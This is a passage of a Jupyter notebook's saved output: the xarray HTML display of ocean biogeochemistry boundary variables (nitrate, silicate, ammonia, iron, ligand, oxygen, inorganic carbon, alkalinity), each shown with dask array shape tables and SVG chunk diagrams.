y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>NO3_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-fd21beb5-9d2d-4da2-a873-95014b999c3a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-fd21beb5-9d2d-4da2-a873-95014b999c3a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e30e9c37-8cdd-498b-af48-8811bc1cbd0d' class='xr-var-data-in' type='checkbox'><label for='data-e30e9c37-8cdd-498b-af48-8811bc1cbd0d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>eastern boundary dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-bf97a25b-e72e-47ac-b0af-49b5695be544' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines 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style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Fe_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-d9d3ef0e-c74d-4751-840e-a1fb7ca0c091' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d9d3ef0e-c74d-4751-840e-a1fb7ca0c091' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ab7f506f-c775-488d-9a89-9e5ebe8ea8c5' class='xr-var-data-in' type='checkbox'><label for='data-ab7f506f-c775-488d-9a89-9e5ebe8ea8c5' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Lig_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-683e401e-66c9-442b-88d6-91b47c81b1ad' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-683e401e-66c9-442b-88d6-91b47c81b1ad' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c5345de3-ce84-463e-bdc4-22c39cfb09dc' class='xr-var-data-in' type='checkbox'><label for='data-c5345de3-ce84-463e-bdc4-22c39cfb09dc' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>O2_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-31284fdf-c0e3-4439-881a-62622a11e580' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-31284fdf-c0e3-4439-881a-62622a11e580' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-556a8935-132a-45a8-9de0-a1c6acb7e629' class='xr-var-data-in' type='checkbox'><label for='data-556a8935-132a-45a8-9de0-a1c6acb7e629' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"130\" y1=\"0\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" 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for='data-c300de64-c6e0-44e1-b684-8cad6f1007dd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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for='attrs-35c1a023-158b-4f71-9969-1aff57dea986' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-fc15a5dd-47d3-43af-888c-39b53c171647' class='xr-var-data-in' type='checkbox'><label for='data-fc15a5dd-47d3-43af-888c-39b53c171647' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary dissolved inorganic carbon, alternative CO2</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-0997b0db-a0c7-45b0-93f0-635902677011' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0997b0db-a0c7-45b0-93f0-635902677011' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4f00e2f6-e0af-496c-8e73-b2bf4ba031b1' class='xr-var-data-in' type='checkbox'><label for='data-4f00e2f6-e0af-496c-8e73-b2bf4ba031b1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal 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</th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" 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for='attrs-a01ae27e-4472-4624-bcc1-30a4d1ca90a9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e67bedee-120b-4070-93cf-99f515b0cc1b' class='xr-var-data-in' type='checkbox'><label for='data-e67bedee-120b-4070-93cf-99f515b0cc1b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl 